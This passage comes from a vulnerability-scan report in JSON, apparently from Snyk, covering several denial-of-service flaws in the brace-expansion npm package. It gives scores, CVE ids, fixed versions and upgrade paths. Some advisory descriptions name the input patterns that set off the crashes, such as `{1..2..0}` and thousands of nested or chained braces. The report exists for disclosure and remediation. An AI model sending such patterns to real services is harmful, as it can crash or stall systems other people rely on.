"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
